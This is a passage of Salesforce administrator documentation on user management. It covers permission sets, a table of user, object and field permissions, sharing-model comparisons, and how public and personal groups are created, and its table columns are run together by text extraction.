App Permissions Apps are sets of tabs that users can change by selecting the drop-down menu in the header. All underlying objects, components, data, and configurations remain the same, regardless of the selected app. In selecting an app, users navigate in a set of tabs that allows them to efficiently use the underlying functionality for app-specific tasks. For example, let's say you do most of your work in the sales app, which includes tabs like Accounts and Opportunities. To track a new marketing campaign, rather than adding the Campaigns tab to the sales app, you select Marketing from the app drop-down to view your campaigns and campaign members. The Apps section of the permission sets overview page contains settings that are directly associated with the business processes that the apps enable. For example, customer service agents may need to manage cases, so the Manage Cases permission is in the Call Center section of the App Permissions page. Some app settings aren't related to app permissions. For example, to enable the Time-Off Manager app from the AppExchange, users need access to the appropriate Apex classes and Visualforce pages, as well as the object and field permissions that allow them to create new time-off requests. The Apps section contains links to: Object and field permissions App permissions Apex class access Visualforce page access

System Permissions Some system functions apply to an organization and not to any single app. For example, View Setup and Configuration allows user to view setup and administrative settings pages. Other system functions apply to all apps. For example, the Run Reports and Manage Dashboards permissions allow managers to create and manage reports in all apps. In some cases, such as with Modify All Data, a permission applies to all apps, but also includes non-app functions, like the ability to download the Data Loader and empty the organization's recycle bin. In the permission sets overview page, the System section contains links to: System permissions Service providers (if you've enabled Salesforce as an identity provider)

Using a Permission Set's Assigned Users Page


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view users that are assigned to a permission set: View Setup and Configuration

To view all users that are assigned to a permission set, from the permission set overview page, click Assigned Users. From the assigned users page, you can: Create one or multiple users Reset passwords for selected users Edit a user View a user's detail page by clicking the name, alias, or username

532

User Management

Working in a Permission Set's Overview Page

View or edit a profile by clicking the profile name Export users to Google and create Google Apps accounts (if Google Apps is enabled in your organization)

See Also:
Assigning Permission Sets

Searching Permission Sets


Available in: Enterprise, Professional, Developer, and Database.com Editions Visualforce is not available in Database.com

User Permissions Needed To search permission sets: View Setup and Configuration

On any of the detail pages, type at least three consecutive letters of an object, setting, or permission name in the Find Settings... box. The search terms aren't case-sensitive. As you type, suggestions for results that match your search terms appear in a list. Click an item in the list to go to its settings page. You can search for: Item Objects Example Type acco in the Find Settings box, then select Accounts.

Fields (Find the object that the field is part of.) To find the Description field for accounts, type acco, select Accounts, and scroll down to Description under Field Permissions. App permissions Apex class access settings Visualforce page access settings System permissions Service providers (available only if Salesforce is enabled as an identity provider) Type lEaD, then select Import Leads. Type apex, then select Apex Class Access. Type VISU, then select Visualforce Page Access. Type api, then select API Enabled. Type serv, then select Service Providers.

If no results appear in a search: The permission, object, or setting you're searching for may not be available in the current organization. The item you're searching for may not be available for the user license that's associated with the current permission set. For example, if a permission set's user license is High Volume Customer Portal User, it doesn't include the Modify All Data permission. Be sure your search terms have at least three consecutive characters that match the object, setting, or permission name.

533

User Management

Assigning Permission Sets

Be sure the search term is spelled correctly.

See Also:
Permission Sets Overview

Assigning Permission Sets


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view users that are assigned to a permission set: To assign permission sets: View Setup and Configuration Manage Users

From the user detail page, you can assign permission sets or remove a permission set assignment. 1. 2. 3. 4. Click Your Name > Setup > Manage Users > Users. Select a user. In the Permission Set Assignments related list, click Edit Assignments. To assign a permission set, select it from the Available Permission Sets box and click Add. To remove a permission set assignment, select it from the Enabled Permission Sets box and click Remove. Note: The Permission Set Assignments page shows only permissions sets that match the user's license. For example, if a user's license is Chatter Only, you can only assign permission sets with the Chatter Only license to that user. 5. Click Save.

See Also:
Permission Sets Overview Using a Permission Set's Assigned Users Page Creating Permission Sets

User Permissions
The standard profiles available vary according to which Edition you have.

The following table lists all user permissions in alphabetical order. In permission sets and the enhanced profile user interface, these permissions are listed in the App Permissions or System Permissions pages. In the original profile user interface, they are listed under Administrative Permissions and General User Permissions.

534

User Management

User Permissions

You can enable user permissions in permission sets or profiles. Permission Name Activate Contracts Description Change contract status to Activated. Functions Controlled Change contract status to Activate; Create, edit and delete contracts Affected by Divisions Filter search results, list views, Filter a users search results, and reports by division. list views, and reports by division. With this permission deselected, a users searches, list views, and reports always show records in all divisions. Enterprise, Unlimited, and Developer Edition organizations can edit this user permission on standard and custom profiles API Enabled API Only User Approve Contracts Access any Salesforce API. Access any Salesforce API System Administrator Standard User Solution Manager Marketing User Contract Manager Profiles System Administrator Contract Manager

System Administrator

Access Salesforce only through Access Salesforce only through None a Salesforce API. a Salesforce API Approve or reject a contract from a related list. Create Apex classes and triggers. Apply an approved status to a System Administrator contract Contract Manager Can modify and deploy Apex System Administrator classes and triggers, set security on Apex classes, and create email services Run reports in the System Administrator background, and export results as a CSV or Excel file on completion

Author Apex

Background Report Export

Run reports in the background, and export results as a CSV or Excel file on completion.

Bulk API Hard Delete

Delete records in the Bulk Delete records without storing None API without storing them in them in the Recycle Bin, the Recycle Bin. making them eligible for immediate deletion. Convert leads into accounts, contacts, and opportunities. Convert leads into accounts, contacts, and opportunities System Administrator Standard User Solution Manager Marketing User Contract Manager

Convert Leads

535

User Management

User Permissions

Permission Name

Description

Functions Controlled View the Reports tab; Run, create, edit, save, and delete reports; View dashboards based on reports

Profiles System Administrator Standard User Solution Manager Marketing User Read Only Contract Manager

Create and Customize Reports Create, edit, and delete reports.

Create and Share Links to Chatter Files

Share a Chatter file with Chatter users can share anyone by creating a file link Chatter files via link. and sending it via email or IM.

System Administrator Standard User Solution Manager Marketing User Read Only Contract Manager

Create and Upload Change Sets Create AppExchange Packages Create Libraries Customize Application

Create and upload a change set. Create packages that can be distributed through AppExchange. Create Salesforce CRM Content libraries. Customize the organization using App Setup menu options.

Create a change set, add System Administrator components to it, and upload it Create AppExchange packages Create Salesforce CRM Content libraries Edit messages and custom links; Modify standard picklist values; Create, edit, and delete custom fields; Create, edit, and delete page layouts (also requires the Edit permission for the record, for example, Edit on accounts); Set field-level security; Create, edit, and delete custom links; Edit the Lead Settings; Activate big deal alerts; System Administrator

System Administrator System Administrator

536

User Management

User Permissions

Permission Name

Description

Functions Controlled Create record types; Set up Web-to-Case and email response rules; Set up Web-to-Lead and email response rules; Set up assignment and escalation rules; Set up business hours; Set up Email-to-Case or On-Demand Email-to-Case; Edit Self-Service page layouts and portal color theme (also requires the Manage Self-Service Portal permission to set up and maintain Self-Service settings and delete your organization's Self-Closed Case Status value); Set up and enable multilingual solutions; Set up team selling; Set up account teams; Map custom lead fields; Manage queues; Create, edit, and delete workflow rules, tasks, field updates, outbound messages, and alerts; Create, edit, and delete custom s-controls, custom objects, and custom tabs; Rename tabs; Manage custom apps and Service Cloud console apps; Create and edit public calendars and resources; Set up the console;

Profiles

537

User Management

User Permissions

Permission Name

Description

Functions Controlled Enable, set up, and modify the Salesforce Customer Portal; Set up and schedule analytic snapshots to run; Create communities for ideas and answers; Create Visualforce email templates

Profiles

Data Export

Run the data export service.

Run the data export service.

System Administrator

Manage Sharing Calculation Suspend and resume sharing Suspend and resume group System Administrator Deferral calculations. membership and sharing rule calculations. Delegated Portal User Administrator Manage portal users who belong to the same portal account. Allows Customer Portal and None Partner Portal users to create, edit, deactivate, and reset passwords for other portal users (also requires Portal Super User to create and view cases for Customer Portal users)

Delete Activated Contracts

Delete contracts, regardless of Delete contracts regardless of System Administrator their status. status; Activate, create, and edit contracts

Deliver Uploaded Files and Personal Content

Enables non-Content users to create content deliveries, and enables Salesforce CRM Content users to create content deliveries using documents in their personal libraries.

Non-Content users can create System Administrator content deliveries; Standard User Salesforce CRM Content Solution Manager users can create content deliveries using documents in Marketing User their personal libraries Read Only Salesforce CRM Content users don't need this permission to create content deliveries in shared libraries. Contract Manager

Deploy Change Sets Download AppExchange Packages

Deploy change sets. Install or uninstall AppExchange packages as system administrators.

Deploy change sets sent from System Administrator another organization Install or uninstall System Administrator AppExchange packages from the AppExchange

538

User Management

User Permissions

Permission Name Drag-and-Drop Dashboard Builder

Description Create, edit, and delete dashboards through the drag-and-drop dashboard builder interface.

Functions Controlled Create, edit, and delete dashboards using the dashboard builder interface

Profiles System Administrator

Edit Case Comments

Edit their own case comments Enables users to edit and None but not other user's comments. delete case comments that they have added to cases (also requires Edit on cases) Create, edit, and delete events. Create, edit, and delete events System Administrator Standard User Solution Manager Marketing User Contract Manager

Edit Events

Edit Forecasts

Create, edit, and delete non-customizable forecasts.

Create, edit, and delete forecasts.

System Administrator

Standard User This permission is not Solution Manager available for customizable forecasts. When you convert Marketing User to customizable forecasts, Contract Manager custom profiles that have the Edit Forecasts permission get the Edit Personal Quota and Override Forecasts permissions. Create, edit, and delete both System Administrator custom HTML templates and Marketing User HTML email templates using letterheads Enable users to change the sales price on products System Administrator Standard User Solution Manager Marketing User Contract Manager

Edit HTML Templates

Create, edit, and delete HTML email templates.

Edit Opportunity Product Sales Prices

Change the sales price on opportunity line items.

Edit Personal Quota

Change their quota for customizable forecasts.

Change your individual quota System Administrator (available only for Standard User customizable forecasts) Solution Manager Marketing User

539

User Management

User Permissions

Permission Name

Description

Functions Controlled

Profiles Contract Manager

Edit Read Only Fields

Edit fields that are read only due to page layouts or field-level security.

Edit fields marked as read only System Administrator (by field-level security or by the page layout) for all other users System Administrator Standard User Solution Manager Marketing User Contract Manager

Edit Self-Service Users

Enable and disable contacts For the Self-Service portal: for Self-Service and Customer enable and deactivate contacts; Portal access. For the Salesforce Customer Portal: enable, disable, and deactivate contacts; disable accounts; merge Customer Portal users (also requires Delete on contacts)

Edit Tasks

Create, edit, and delete tasks. Create, edit, and delete tasks System Administrator Standard User Solution Manager Marketing User Contract Manager

Export Reports

Use Export Details and Printable View to export reports.

Use Export Details and Printable View to export reports

System Administrator Standard User Solution Manager Marketing User Contract Manager

Import Leads

Import leads and update campaign history.

Import leads and update campaign history using the import wizard

System Administrator Marketing User

Import Personal Contacts

Import personal accounts and Import personal accounts and System Administrator contacts. contacts using the import Standard User wizard Solution Manager Marketing User Contract Manager

Import Solutions

Import solutions for the organization.

Import solutions for the System Administrator organization using the import Solution Manager wizard

Insert System Field Values for Set the CreatedById or Set the CreatedById or System Administrator Chatter Feeds CreatedDate for a Chatter CreatedDate for a Chatter

540

User Management

User Permissions

Permission Name

Description

Functions Controlled

Profiles

post or comment from the post or comment from the API when creating the record. API when creating the record. Is Single Sign-On Enabled Delegate username and password authentication to a corporate database instead of the Salesforce user database. Username and password None authentication is delegated to a corporate database such as Active Directory or LDAP, instead of the Salesforce user database. See About Single Sign-On on page 630. Log in to subscriber organizations to perform package support using the Subscriber Support Tab. System Administrator

Log in to Subscriber Organization

Log in to subscriber organizations to perform package support using the Subscriber Support Tab. Create, edit, and delete analytic snapshots.

Manage Analytic Snapshots

Set up and schedule analytic System Administrator snapshots to run (also requires the Schedule Dashboards, Run Reports, and View Setup and Configuration permissions)

Manage Articles

Create, edit, assign, publish, Create, edit, delete, assign, None archive, and translate publish, and archiveSalesforce Salesforce Knowledge articles. Knowledge articles; Edit draft articles; Submit Salesforce Knowledge articles for translation; Publish and archive translated articles; Access the Article Management tab

Manage Billing

Purchase additional licenses and features.

Add user licenses; Edit billing and credit card information; Grant Checkout access

System Administrator

Manage Business Hours Holidays

Create, edit, and delete business holidays.

Create and edit business System Administrator hours; create, edit, and delete holidays (also requires View Setup and Configuration) Import, view, edit, and delete System Administrator a call center (also requires

Manage Call Centers

Create, import, edit, and delete a call center configuration.

541

User Management

User Permissions

Permission Name

Description

Functions Controlled View Setup and Configuration)

Profiles

Manage Cases

Administer case settings, Set support business hours; including Email-to-Case and Edit support settings; mass transfer of cases. Set up Email-to-Case; Perform actions on multiple cases in a list view, such as mass transfer of cases Close multiple cases

System Administrator

Manage Categories

Define and modify solution categories settings.

Define and modify solution categories; Edit Solution Settings to enable solution browsing This permission only applies to solution categories, not data categories

System Administrator

Manage Connections

Allows a user to create and update connections and templates in Salesforce to Salesforce.

Create, update, and deactivate System Administrator Salesforce to Salesforce connections and create and update connection templates

Manage Chatter Messages

Access all users' messages sent Access all users' messages sent System Administrator in Chatter. in Chatter (also requires API Standard User Enabled or Api Only User) Solution Manager Marketing User Contract Manager

Manage Content Permissions Create, edit, and delete library Create, edit, and delete library System Administrator permissions in Salesforce permissions in Salesforce CRM Content. CRM Content Manage Content Properties Create, edit, and delete custom fields in Salesforce CRM Content. Create, edit, and delete content types in Salesforce CRM Content. Create, edit, and delete custom fields in Salesforce CRM Content Create, edit, and delete content types in Salesforce CRM Content System Administrator

Manage Content Types

System Administrator

Manage Custom Report Types

Create and edit custom report Create and edit custom report System Administrator types. types (also requires View Setup and Configuration to view the organization Setup

542

User Management

User Permissions

Permission Name

Description

Functions Controlled pages where custom report types are managed; also requires Modify All Data to delete custom report types, as all reports and dashboard components using that report type are deleted as well)

Profiles

Manage Dashboards

Create, edit, and delete the user's personal dashboards.

Create, edit, and delete System Administrator dashboards (also requires Modify All Data to edit a dashboard created by another user) Create, edit, and delete data categories This permission only applies to data categories, not solution categories System Administrator

Manage Data Categories

Create, edit, and delete data categories.

Manage Data Integrations

Monitor or abort Bulk API jobs.

Monitor or abort Bulk API jobs; Grant access to Bulk API monitoring pages

System Administrator

Manage Dynamic Dashboards Create, edit, and delete dynamic dashboards. Manage Email Client Configurations Manage Entitlements Create, edit, and delete Outlook configurations for Salesforce for Outlook. Enable, create, and update entitlement management items.

Create, edit, and delete dynamic dashboards Create, edit, and delete Outlook configurations for Salesforce for Outlook. Set up and maintain entitlement management; Enable and disable entitlement management, including entitlements, service contracts, and contract line items; Create, edit, and delete entitlement templates; Create, edit, and delete milestones; Create, edit, and delete entitlement processes

System Administrator System Administrator

System Administrator

543

User Management

User Permissions

Permission Name Manage Leads Manage Letterheads

Description

Functions Controlled

Profiles System Administrator

Change the status of multiple Change Status of multiple leads in a list view. leads in a list view

Create, edit, and delete Create, edit, and delete System Administrator letterheads for HTML emails. letterheads for HTML emails Marketing User Manage Salesforce Mobile users and devices. Create, edit, and delete mobile System Administrator configurations for Salesforce Mobile; Manage mobile settings

Manage Mobile Configurations

Manage Package Licenses

Manage package licenses in subscriber organizations. Create partner accounts and partner users.

Grant or revoke user licenses System Administrator for an installed app in a managed package Create partner accounts and partner users; Disable partner accounts and partner users; Merge partner users (also requires Delete on contacts) System Administrator

Manage Partners

Manage Public Documents

Create, edit, and delete folders Create, edit, and delete public System Administrator for public documents. document folders Marketing User Create, edit, and delete public Create, edit, and delete public System Administrator list views. list views Create, edit, and delete public Create, edit, and delete public System Administrator reports. reports; Customize the Reports tab

Manage Public List Views Manage Public Reports

Manage Public Templates

Create, edit, and delete text Create, edit, and delete text emails, mail merge templates, email and mail merge and folders for public email templates; templates. Edit public folders for email templates and store email templates in folders

System Administrator Marketing User

Manage Published Solutions Create, edit, and delete publicly accessible solutions.

Create, edit, and delete System Administrator solutions that are accessible to Solution Manager the public on your Self-Service portal or website; Categorize solutions

544

User Management

User Permissions

Permission Name Manage Remote Access

Description Manage, create, edit and delete remote access applications.

Functions Controlled Manage, create, edit and delete remote access applications that define integrations of external applications which access Salesforce using the OAuth protocol. Create, edit, and delete libraries; Edit library membership

Profiles System Administrator

Manage Salesforce CRM Content

Create, edit, and delete libraries and library memberships.

System Administrator

Manage Salesforce Knowledge Manage Salesforce Knowledge Enable Salesforce Knowledge; System Administrator settings, and create, edit, and Create, edit, and delete article delete article types. types; Edit settings Manage Self-Service Portal Manage Self-Service portal settings and reports. Set up and maintain Self-Service settings (also requires the Customize Application permission to modify Self-Service page layouts and delete your organization's Self-Closed Case Status value); Run Self-Service reports Manage Synonyms Manage Territories Create, edit, and delete synonym groups. Manage territory configurations. Create, edit, and delete synonym groups Create and edit territories; Add and remove users from territories; Create and edit account assignment rules; Manually assign accounts to territories; Configure organization-wide territory management settings Manage Translation Manage translated labels in Add supported languages and System Administrator the Translation Workbench. translators, see Adding and Editing Translated Languages and Translators; System Administrator System Administrator System Administrator

545

User Management

User Permissions

Permission Name

Description

Functions Controlled Enter translated values for any supported language; Translate solution categories

Profiles

Manage Users

Create, edit, and deactivate Create, edit, and deactivate System Administrator users, and manage security users; settings, including profiles and Define and assign user roles; roles. Define sharing model and sharing rules; View storage use; View login history; View training history; Manage and assign profiles; Assign page layouts to profiles; Set password policies; Activate or deactivate opportunity update reminders; Set login restrictions

Mass Edits from Lists

Edit multiple records Edit two or more records System Administrator simultaneously from a list with simultaneously from a list with Standard User inline editing. inline editing Solution Manager Marketing User Contract Manager, Standard Platform User Standard Platform One App User

Mass Email

Send mass emails to contacts Send bulk emails to contacts and leads. and leads

System Administrator Standard User Solution Manager Marketing User Contract Manager

546

User Management

User Permissions

Permission Name Moderate Chatter

Description

Functions Controlled

Profiles

Deactivate Chatter Free users, Moderate Chatter; System Administrator assign moderator privileges to Deactivate or re-activate Chatter Moderator User Chatter Free users, and Chatter Free users; remove posts. Give, or take away, moderator privileges to Chatter Free users; Remove inappropriate posts

Modify All Data

Create, edit, and delete all organization data, regardless of sharing settings.

Create, edit, and delete all data; Import accounts and contacts for organization; Mass update addresses (also requires Activate Contract and Activate Order to update the addresses of contracts and orders); Mass delete data; Undelete other users data; Create and edit divisions, and transfer divisions for multiple records; Create an organization-wide email address

System Administrator

Override Forecasts

Override personal forecasts and forecasts for users who report directly to them in the role hierarchy.

Override your own forecast, as well as forecasts for users that report directly to you in the role hierarchy (available only for customizable forecasts)

System Administrator Standard User Solution Manager Marketing User Contract Manager

Password Never Expires Portal Super User

Prevent the user's password from expiring.

Prevent password from ever expiring

None None

Allows Customer Portal users View and edit cases for their to view and edit all cases for account their account. Make products and price books available in Connect Offline.

Products Show in Offline

Specify if products and price System Administrator books are available in Connect Standard User Offline Solution Manager

547

User Management

User Permissions

Permission Name

Description

Functions Controlled

Profiles Marketing User Read Only Contract Manager

Report Builder

Create, edit, and delete reports Create, edit, and delete reports System Administrator through the drag-and-drop using the report builder report builder interface. interface Unlock user accounts that are User passwords and locked locked, as well as reset user users. passwords. If you reset the password for a user whose account is locked, their account is automatically unlocked. Run reports and dashboards. View the Reports tab; Run reports; View dashboards based on reports System Administrator

Reset User Passwords and Unlock Users

Run Reports

System Administrator Standard User Solution Manager Marketing User Read Only Contract Manager

Schedule Dashboards

Schedule when dashboards refresh, and send email notifications that include refreshed dashboards in HTML format. Schedule reports to run and have the results emailed to Salesforce users.

Schedule when dashboards System Administrator refresh and send email notifications to users that include refreshed dashboards in HTML format Schedule reports to run and System Administrator have the results emailed in HTML format to Salesforce users

Schedule Reports

Send Email

Send email to a single contact Send email to a single contact System Administrator or lead. or lead; Standard User Send Stay-in-Touch update Solution Manager emails; Marketing User Request a meeting Contract Manager Send outbound messages to Send outbound messages, such System Administrator an external Web service API. as when you close an Standard User opportunity and need to send an outbound API message to Solution Manager another server to generate an

Send Outbound Messages

548

User Management

User Permissions

Permission Name

Description

Functions Controlled

Profiles

order. See Setting Up Marketing User Outbound Messaging in the Read Only Web Services API Developer's Contract Manager Guide. Standard Platform User Standard Platform One App User Send Stay-in-Touch Requests Send Stay-in-Touch update emails. Send Stay-in-Touch email requests System Administrator Standard User Solution Manager Marketing User Contract Manager Show Custom Sidebar On All Display a custom sidebar on Pages all pages in Salesforce. If users have custom home None page layouts that include components in the sidebar, displays their custom sidebar on all pages in Salesforce. If the Show Custom Sidebar
Components on All Pages user interface setting

is selected, the Show Customer Sidebar On All Pages permission is not available. Tag Manager Manage the configuration of Rename, delete, or restore System Administrator private and public tags. public tags (available only when public tags are enabled) Change a case's owner. Transfer one or more cases System Administrator that are owned by another user, if you also have at least the Edit object permission and access to view the records Transfer one or more leads System Administrator that are owned by another user, if you also have at least the Edit object permission and access to view the records Transfer ownership of one or System Administrator more accounts, campaigns, cases, contacts, contracts,

Transfer Cases

Transfer Leads

Change a lead's owner.

Transfer Record

Change the owner of most records.

549

User Management

User Permissions

Permission Name

Description

Functions Controlled leads, and custom objects that are owned by another user To transfer records owned by another user, you must also have at least the Edit object permission and access to view the records

Profiles

Upload AppExchange Packages

Upload packages to Upload AppExchange AppExchange for distribution. packages to AppExchange; Create test drives To push upgrades To create patch development organizations

System Administrator

Use Team Reassignment Wizards View All Data View All Forecasts

Mass reassign account team and opportunity team members.

Mass reassign account team and opportunity team members

System Administrator

View all organizational data, View all data owned by other System Administrator regardless of sharing settings. users View any user's forecast, View any users forecast System Administrator regardless of the forecast role regardless of the forecast role hierarchy. hierarchy. This permission is only available for customizable forecasts. When you convert to customizable forecasts, custom profiles that have the View All Data permission get the View All Forecasts permissions.

View Content in Portals

View Salesforce CRM Content from a portal. View the Data Categories page.

Allows Customer Portal and None Partner Portal users to view Salesforce CRM Content View the Your Name > Setup System Administrator > Customize > Data Categories page This permission only applies to data categories, not solution categories

View Data Categories

View Encrypted Data

View the value of encrypted fields in plain text.

View the value of encrypted fields in plain text

None

550

User Management

User Permissions

Permission Name

Description

Functions Controlled

Profiles

View My Team's Dashboards View dashboards owned by View dashboards owned by System Administrator people under them in the role people under them in the role hierarchy. hierarchy View Setup and Configuration View the App Setup and View the organization setup Administrative Settings pages. details on the Setup pages; Run user reports; View the setup audit trail; Check field accessibility for users System Administrator Standard User Solution Manager Marketing User Read Only Contract Manager

See Also:
Viewing User License Types

Object Permissions
Available in: Enterprise, Unlimited, Developer, and Database.com Editions Standard Objects are not available in Database.com

The following permissions specify the access that users have to standard and custom objects. Object permissions either respect or override sharing rules and settings. You can enable object permissions in permission sets or profiles. Permission Read Create Edit Delete View All Description Users can only view records of this type. Users can read and create records. Users can read and update records. Users can read, edit, and delete records. Respects or Overrides Sharing? Respects sharing Respects sharing Respects sharing Respects sharing

Users can view all records associated with this object, regardless Overrides sharing of sharing settings.

551

User Management

User Permissions

Permission Modify All

Description

Respects or Overrides Sharing?

Users can read, edit, delete, transfer, and approve all records Overrides sharing associated with this object, regardless of sharing settings. Note: Modify All on documents allows access to all shared and public folders, but not the ability to edit folder properties or create new folders. To edit folder properties and create new folders, users must have the Manage Public Documents permission.

Note: If your organization has deployed Salesforce Mobile, you can edit the mobile object properties to prevent mobile users from creating, editing, and deleting records in the mobile application, regardless of their standard object permissions in Salesforce.

See Also:
Permission Sets Overview User Profiles Overview View All and Modify All Permissions Overview Comparing Security Models Managing the Sharing Settings

View All and Modify All Permissions Overview


Available in: All Editions

The View All and Modify All permissions ignore sharing rules and settings, allowing administrators to quickly grant access to records associated with a given object across the organization. View All and Modify All may be preferable alternatives to the View All Data and Modify All Data permissions. Be aware of the following distinctions between the permission types. Permissions View All Modify All View All Data Modify All Data Used for Delegation of object permissions Users who Need them Delegated administrators who need to manage records for specific objects

Managing all data in an organization; for example, Administrators of an entire organization data cleansing, deduplication, mass deletion, mass transferring, and managing record approvals

View All and Modify All are not available for ideas, price books, article types, and products.

552

User Management

User Permissions

View All and Modify All allow for delegation of object permissions only. To delegate user administration and custom object administration duties, define delegated administrators.

See Also:
Object Permissions

Comparing Security Models


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

Salesforce user security is an intersection of sharing, and user and object permissions. In some cases, such as in end-user record level access, it is advantageous to use sharing to provide access to records. In other cases, such as when delegating record administration tasks like transferring records, cleansing data, deduplicating records, mass deleting records, and delegating workflow approval processes, it is advantageous to override sharing and use permissions to provide access to records. In permissions for standard and custom objects, the Read, Create, Edit, and Delete permissions respect sharing settings, which control access to data at the record level. The View All and Modify All permissions override sharing settings for specific objects. Additionally, the View All Data and Modify All Data permissions override sharing settings for all objects. The following table describes the differences between the security models. Permissions that Respect Sharing Target audience Where managed End-users Read, Create, Edit, and Delete object permissions; Sharing settings Record access levels Ability to transfer Private, Read-Only, Read/Write, Read/Write/Transfer/Full Access View All and Modify All Permissions that Override Sharing Delegated data administrators View All and Modify All

Respects sharing settings, which vary by Available on all objects with Modify All object Available on all objects with Modify All

Ability to approve records, or edit and None unlock records in an approval process Ability to report on all records

Available with a sharing rule that states: Available on all objects with View All the records owned by the public group Entire Organization are shared with a specified group, with Read-Only access Available on all objects except products, Available on most objects via object documents, solutions, ideas, notes, and permissions attachments Note: View All and Modify All are not available for ideas, price books, article types, and products.

Object support

553

User Management

User Permissions

Permissions that Respect Sharing Group access levels determined by

Permissions that Override Sharing

Roles, Roles and Subordinates, Roles and Profile or permission sets Internal Subordinates, Roles, Internal and Portal Subordinates, Queues, Teams, and Public Groups Not available Available on private contacts, opportunities, and notes and attachments with View All and Modify All

Private record access

Ability to manually share records

Available to the record owner and any Available on all objects with Modify All user above the record owner in the role hierarchy Not available Available with Modify All on cases

Ability to manage all case comments

See Also:
Overview of User Permissions and Access

Field Permissions
Available in: Enterprise, Unlimited, Developer, and Database.com Editions

Field permissions specify the access level for each field in an object. In permission sets and the enhanced profile user interface, the setting labels differ from those in the original profile user interface and in field-level security pages for customizing fields. Access Level Users can read and edit the field. Users can read but not edit the field. Users can't read or edit the field. Enabled Settings in Permission Sets and Enhanced Profile User Interface
Read and Edit Read

Enabled Settings in Original Profile and Field-Level Security Interfaces


Visible Visible and Read-Only

None

None

See Also:
Field-Level Security Overview

About Groups

554

User Management

About Groups

Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

Groups are sets of users. They can contain individual users, other groups, the users in a particular role or territory, or the users in a particular role or territory plus all of the users below that role or territory in the hierarchy. There are two types of groups: Public groupsOnly administrators can create public groups. They can be used by everyone in the organization. Personal groupsEach user can create groups for their personal use.

You can use groups in the following ways: To set up default sharing access via a sharing rule To share your records with other users To specify that you want to synchronize contacts owned by others users To add multiple users to a Salesforce CRM Content library To assign users to specific actions in Salesforce Knowledge

See Also:
Creating and Editing Groups Viewing All Users in a Group Managing the Sharing Settings Setting Your Organization-Wide Sharing Defaults

Creating and Editing Groups


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To create or edit a public group: Manage Users

Only administrators can create and edit public groups, but anyone can create and edit a personal group. To create or edit a group: 1. Click the control that matches the type of group: For personal groups, click Your Username > Setup > My Personal Information > My Groups. For public groups, click Your Username > Setup > Manage Users > Public Groups.

2. Click New, or click Edit next to the group you want to edit. 3. Enter a group name, or edit the existing one.

555

User Management

About Groups

4. For public groups only, select Grant Access Using Hierarchies to allow automatic access to records using your role or territory hierarchies. When selected, any records shared with users in this group are also shared with users higher in the hierarchy. Note: If Grant Access Using Hierarchies is deselected, users that are higher in the role or territory hierarchy don't receive automatic access. However, some userssuch as those with the View All and Modify All object permissions and the View All Data and Modify All Data system permissionscan still access records they don't own. 5. From the Search drop-down list, select the type of member to add. Note: For account owners to see child records owned by high-volume portal users, they must be members of any portal share groups with access to the portal users' data. 6. If you don't see the member you want to add, enter keywords in the search box and click Find. 7. Select members from the Available Members box, and click Add to add them to the group. 8. Click Save. Note: When you edit groups, roles, and territories, sharing rules are usually automatically reevaluated to add or remove access as needed. If these changes affect too many records at once, a message appears warning that the sharing rules won't be automatically reevaluated, and you must manually recalculate them.

See Also:
Group Member Types Recalculating Sharing Rules About Groups About Customer Portal User Management Working with Partner Users

Group Member Types


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions The member types that are available vary depending on your Edition.

User Permissions Needed To create or edit a public group: Manage Users

When you create or edit a group, you can select the following types of members from the Search drop-down list. Depending on your organization settings, some types may not be available.

556

User Management

About Groups

Member Type Customer Portal Users Partner Users Personal Groups Portal Roles

Description All of your Customer Portal users. This is only available when a Customer Portal is enabled for your organization. All of your partner users. This is only available when a partner portal is enabled for your organization. All of your own groups. This is only available when creating other personal groups. All roles defined for your organization's partner portal or Customer Portal. This includes all users in the specified portal role, except high-volume portal users. Note: A portal role name includes the name of the account that it's associated with, except for person accounts, which include the user Alias.

Portal Roles and Subordinates

All roles defined for your organization's partner portal or Customer Portal. This includes all of the users in the specified portal role plus all of the users below that role in the portal role hierarchy, except for high-volume portal users. Note: A portal role name includes the name of the account that it's associated with, except for person accounts, which include the user Alias.

Public Groups Roles

All public groups defined by your administrator. All roles defined for your organization. Adding a role to a group includes all of the users in that role, but does not include portal roles. Adding a role and its subordinate roles includes all of the users in that role plus all of the users in roles below that role. This doesn't include portal roles or users. Adding a role and its subordinate roles includes all of the users in that role plus all of the users in roles below that role. This is only available when no portals are enabled for your organization. Adding a role and its subordinate roles includes all of the users in that role plus all of the users in roles below that role. This is only available when a partner or Customer Portal is enabled for your organization. This includes portal users.

Roles and Internal Subordinates

Roles and Subordinates

Roles, Internal and Portal Subordinates

557

User Management

About Groups

Member Type Users

Description All users in your organization. This doesn't include portal users.

See Also:
About Groups Creating and Editing Groups

Viewing and Editing Groups


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To edit a public group: Manage Users

To view or edit personal or public groups: 1. Click the control that matches the type of group: For personal groups, click Your Name > Setup > My Personal Information > My Groups. For public groups, click Your Name > Setup > Manage Users > Public Groups.

2. Public groups only: To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit. 3. Click the name of a group in the Groups related list to display the group's detail page. To edit the group membership, click Edit. To delete the group, click Delete. To view group members, see the Group Members related list. To view group members and users who have equivalent access because they are higher in the role or territory hierarchy, click View All Users to display the All Users in Group related list. Click View Group Members to return to the Group Members related list.

Viewing All Users in a Group

558

User Management

About Groups

Available in: Professional, Enterprise, Unlimited, and Developer Editions

The All Users list shows users who belong to the selected personal or public group, queue, or role or territory sharing group. From this page, you can view detailed user information, edit user information, and access related information. To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit. Click Edit next to a username to edit the user information. Click Login next to a username to log in as that user. This link is only available if the user has granted you login access.

See Also:
About Groups Creating and Editing Groups

Viewing Group or Queue Members Lists


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions Territories are not available in Database.com

User Permissions Needed To view group and queue members: View Setup and Configuration

